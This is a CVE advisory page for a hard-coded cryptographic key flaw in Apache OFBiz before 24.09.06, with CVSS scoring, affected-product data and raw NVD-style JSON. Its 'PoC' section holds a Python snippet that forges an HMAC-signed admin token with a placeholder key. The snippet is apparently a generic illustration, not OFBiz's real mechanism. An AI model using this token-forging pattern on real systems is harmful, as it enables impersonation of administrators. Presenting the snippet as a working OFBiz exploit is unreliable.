Security Vulnerability Report
中文
CVE-2026-31986 CVSS 9.1 CRITICAL

CVE-2026-31986

Published: 2026-05-19 10:16:24
Last Modified: 2026-05-19 19:16:49

Description

Use of Hard-coded Cryptographic Key vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE
Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for Hard-coded Key Usage import hmac import hashlib # The hard-coded key found in the vulnerable version of Apache OFBiz # (Note: In a real scenario, this key is extracted from the source code) HARDCODED_KEY = b'default_secret_key_ofbiz_placeholder' def generate_malicious_token(user_id): """ Simulates generating a forged token using the hard-coded key. """ message = f"user={user_id}&admin=true".encode('utf-8') signature = hmac.new(HARDCODED_KEY, message, hashlib.sha256).hexdigest() # Construct the malicious request payload payload = message.decode('utf-8') + f"&sig={signature}" return payload if __name__ == "__main__": print("[+] Generating malicious token for user 'attacker'...") token = generate_malicious_token("attacker") print(f"[+] Malicious Token: {token}") print("[+] Send this token to the target endpoint to impersonate an admin.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31986", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:24.143", "lastModified": "2026-05-19T19:16:48.527", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of Hard-coded Cryptographic Key vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/2hl9xoqm8tq8b22x6vnmtp7tg3opcqgc", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/25", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}